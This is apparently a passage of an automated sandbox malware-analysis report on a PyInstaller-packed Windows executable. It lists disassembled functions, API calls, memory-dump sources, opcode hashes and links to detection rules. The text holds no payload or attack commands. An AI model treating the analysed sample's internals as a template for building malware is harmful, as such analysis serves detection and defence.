                                                                                                                                                                                                                                      • GetLastError.KERNEL32(00000000,00007FF6850B2A5E,?,?,?,?,?,?,?,?,?,?,?,00007FF6850B101D), ref: 00007FF6850B8587
                                                                                                                                                                                                                                      • FormatMessageW.KERNEL32 ref: 00007FF6850B85B6
                                                                                                                                                                                                                                      • WideCharToMultiByte.KERNEL32 ref: 00007FF6850B860C
                                                                                                                                                                                                                                        • Part of subcall function 00007FF6850B29E0: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF6850B87F2,?,?,?,?,?,?,?,?,?,?,?,00007FF6850B101D), ref: 00007FF6850B2A14
                                                                                                                                                                                                                                        • Part of subcall function 00007FF6850B29E0: MessageBoxW.USER32 ref: 00007FF6850B2AF0
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ErrorLastMessage$ByteCharFormatMultiWide
                                                                                                                                                                                                                                      • String ID: Failed to encode wchar_t as UTF-8.$FormatMessageW$No error messages generated.$PyInstaller: FormatMessageW failed.$PyInstaller: pyi_win32_utils_to_utf8 failed.$WideCharToMultiByte
                                                                                                                                                                                                                                      • API String ID: 2920928814-2573406579
                                                                                                                                                                                                                                      • Opcode ID: 6472fed7a38855fe53d018715946baf175a16c93e2266fbaa2446d02f1e91665
                                                                                                                                                                                                                                      • Instruction ID: bd9e52e57a9740f54f92dc2c417a89613cd7d737dfa0b4e29fc9e41b8b31fb28
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 6472fed7a38855fe53d018715946baf175a16c93e2266fbaa2446d02f1e91665
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: D6215071A08A47C2FB60EB15E8942666361FF88BA4F84013DE54DC36A4DF3CD945DB01
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850BC57C Relevance: 10.6, APIs: 7, Instructions: 72COMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 3140674995-0
                                                                                                                                                                                                                                      • Opcode ID: 2f0e84db8cb7341a902ef28a41a93ef6eb2637ed36960dc0fb1294147411c1b9
                                                                                                                                                                                                                                      • Instruction ID: b91c03140b0665c515119bea7d51f3343ecf6325bf29916019fc924e26c7037f
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 2f0e84db8cb7341a902ef28a41a93ef6eb2637ed36960dc0fb1294147411c1b9
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 5E315E76608A82C6EB609F60E8807ED7364FF84B54F44453EDA4D87A94DF38DA48CB15
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850CABD8 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 1239891234-0
                                                                                                                                                                                                                                      • Opcode ID: 4ac1c30ff9e2098ff7eaac683efdfbba3e64979dbffe5e0d25534f02cf004e64
                                                                                                                                                                                                                                      • Instruction ID: 1d7ba7ec461bdfd8c15a5f7425df538f7a843542b63c8d2457f4cbeab443d4a9
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 4ac1c30ff9e2098ff7eaac683efdfbba3e64979dbffe5e0d25534f02cf004e64
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: E6314136618B81C6DB60DF25E8403AE73A4FF89B64F540239EA9D83B55DF38D955CB00
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850D1EE4 Relevance: 7.8, APIs: 5, Instructions: 282COMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: FileFindFirst_invalid_parameter_noinfo
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 2227656907-0
                                                                                                                                                                                                                                      • Opcode ID: e601e72e586d0b4de4a5ebf73eb2eb015632a136167348e3e84c4a74a70f75b2
                                                                                                                                                                                                                                      • Instruction ID: b75db799e0484345d633d265e769021d8bf3a201aa6c4a834c9290289c4b3c5f
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: e601e72e586d0b4de4a5ebf73eb2eb015632a136167348e3e84c4a74a70f75b2
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: C1B19F26B18697C1EE619B6298106B9A391FF54FF4F444239EE5E87A85DF3CEC41C700
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850BC460 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 2933794660-0
                                                                                                                                                                                                                                      • Opcode ID: d807bcf8cbcf5afbec6ed78c6a62c7f595d782d60191141b96be5bff8736c763
                                                                                                                                                                                                                                      • Instruction ID: 51c5f597f0156ae27849f5a98b889bfd792d7c4894e4b1cd2fe124a693a7eb29
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: d807bcf8cbcf5afbec6ed78c6a62c7f595d782d60191141b96be5bff8736c763
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 40112E22B15F05CAEB00DF60E8542B933A4FB19B68F441E39DA6D867A4DF78D594C390
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850D4280 Relevance: 4.8, APIs: 3, Instructions: 340COMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: memcpy_s
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 1502251526-0
                                                                                                                                                                                                                                      • Opcode ID: 723df14fe8405c9280d13974b9e0b256372cd2939c4def8ecbac686ef57d643c
                                                                                                                                                                                                                                      • Instruction ID: af0d1a9f54264a61a71b7a5a8a4fb44b92b446a4a6645dd73b53342722154e35
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 723df14fe8405c9280d13974b9e0b256372cd2939c4def8ecbac686ef57d643c
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 90C10376B19286C7EB648F19A04467AB7A1FB94B94F458238DB4A8B744DF7DEC01CB00
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850D9FF8 Relevance: 3.2, APIs: 2, Instructions: 227COMMONLIBRARYCODE
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ExceptionRaise_clrfp
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 15204871-0
                                                                                                                                                                                                                                      • Opcode ID: b4cdb5d9b405a5f2b155a4653528c407a9956d0b6218a393af626003cf1b5a24
                                                                                                                                                                                                                                      • Instruction ID: b97edf7d91f1072dd04aa8bffc973c975e2da6709fbb556a457a2c3d4a5411e6
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: b4cdb5d9b405a5f2b155a4653528c407a9956d0b6218a393af626003cf1b5a24
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: DDB11A77608B85CBEB55CF29C8463687BA0FB44F58F198A25DA5D837A4CF3AD851C700
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850C3AE4 Relevance: 2.8, Strings: 2, Instructions: 350COMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                      • String ID: $
                                                                                                                                                                                                                                      • API String ID: 0-227171996
                                                                                                                                                                                                                                      • Opcode ID: 631a3e48eb673e1850d57232dc56befdf755ff5fd67b38a64b6ca9c49a913018
                                                                                                                                                                                                                                      • Instruction ID: 076b28fa690ee6dbd2f7bf1a15deb6ed89c915641ff33d0e782095e47eec12ff
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 631a3e48eb673e1850d57232dc56befdf755ff5fd67b38a64b6ca9c49a913018
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 85E1A432A28646C6EB688E2591901BD33A0FF47F68F24513DDA0E877D4DF29EC51E750
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850CE4B0 Relevance: 2.6, Strings: 2, Instructions: 144COMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                      • String ID: e+000$gfff
                                                                                                                                                                                                                                      • API String ID: 0-3030954782
                                                                                                                                                                                                                                      • Opcode ID: 95f5c728ca916dfdd01defb08dd518f9d9b28e517fc4b7b4370436378f7798ef
                                                                                                                                                                                                                                      • Instruction ID: 34d2000ffd42d17b6b9495807f85fb35f6dee44c57f47a99f240b4dd7adfc3dc
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 95f5c728ca916dfdd01defb08dd518f9d9b28e517fc4b7b4370436378f7798ef
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 73517962B186C5C6E7258E3599047696B91FB46FA4F488239CBA887AC5DF3DDC40C710
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850D0F38 Relevance: 2.0, APIs: 1, Instructions: 461COMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CurrentFeaturePresentProcessProcessor
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 1010374628-0
                                                                                                                                                                                                                                      • Opcode ID: 4b7c577155937df3467bd9cdd4550942c9176b8fc8785c5dc3f7c97a7b0e1b3f
                                                                                                                                                                                                                                      • Instruction ID: 6027572c77e3bea409cbdf6da218c865363ce4cd6054547ce0920fbf034e2650
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 4b7c577155937df3467bd9cdd4550942c9176b8fc8785c5dc3f7c97a7b0e1b3f
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 2B025A21A0D643C1FA65AB61A8112792694BF42FF2F58473DED6EC67D2DE7CAC02C314
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850CE01C Relevance: 1.5, Strings: 1, Instructions: 254COMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                      • String ID: gfffffff
                                                                                                                                                                                                                                      • API String ID: 0-1523873471
                                                                                                                                                                                                                                      • Opcode ID: da57d4f04fe3a59080078ae7a8b70c1646e0beb0550e210eb96496c016bfbe06
                                                                                                                                                                                                                                      • Instruction ID: cf787570c031ccc2edd21b9c23b38aafcab080e7d0cf5899b4fc9b3311f0bfe0
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: da57d4f04fe3a59080078ae7a8b70c1646e0beb0550e210eb96496c016bfbe06
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 02A11363A08785C6EB22CB25A4407AD7B91BF52BA4F048136DE8E8B785DF3DED01C711
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850C86D0 Relevance: 1.4, Strings: 1, Instructions: 177COMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: _invalid_parameter_noinfo
                                                                                                                                                                                                                                      • String ID: TMP
                                                                                                                                                                                                                                      • API String ID: 3215553584-3125297090
                                                                                                                                                                                                                                      • Opcode ID: 69b463aaf0c9171a6bd530b887a7184897bfa98e9e25d66ef706b201926f197f
                                                                                                                                                                                                                                      • Instruction ID: 504f0da1a8787f7d4fc5cc49680dde79069b9907f511ffabe5abad3dcff246a2
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 69b463aaf0c9171a6bd530b887a7184897bfa98e9e25d66ef706b201926f197f
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 1C51A315F08642C1FA68EA265A1117A5291BF86FE4F48413DDE0DD7BD6EF3CEC06E218
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850D3AF0 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: HeapProcess
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 54951025-0
                                                                                                                                                                                                                                      • Opcode ID: 2a498131316ba0cf2da72d1126b97be92acaa4b08e35d008cc1bd8d186f782f7
                                                                                                                                                                                                                                      • Instruction ID: 8fb516213bd4659bf59ea35d4e6a6612601fa502c498b8f1f40c35edf1ac2864
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 2a498131316ba0cf2da72d1126b97be92acaa4b08e35d008cc1bd8d186f782f7
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: EBB09228E0BA46C2EB486B12AC8621422A47F88F21F98413CC10CC1320DE2C28B58B00
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850C36E0 Relevance: .3, Instructions: 327COMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
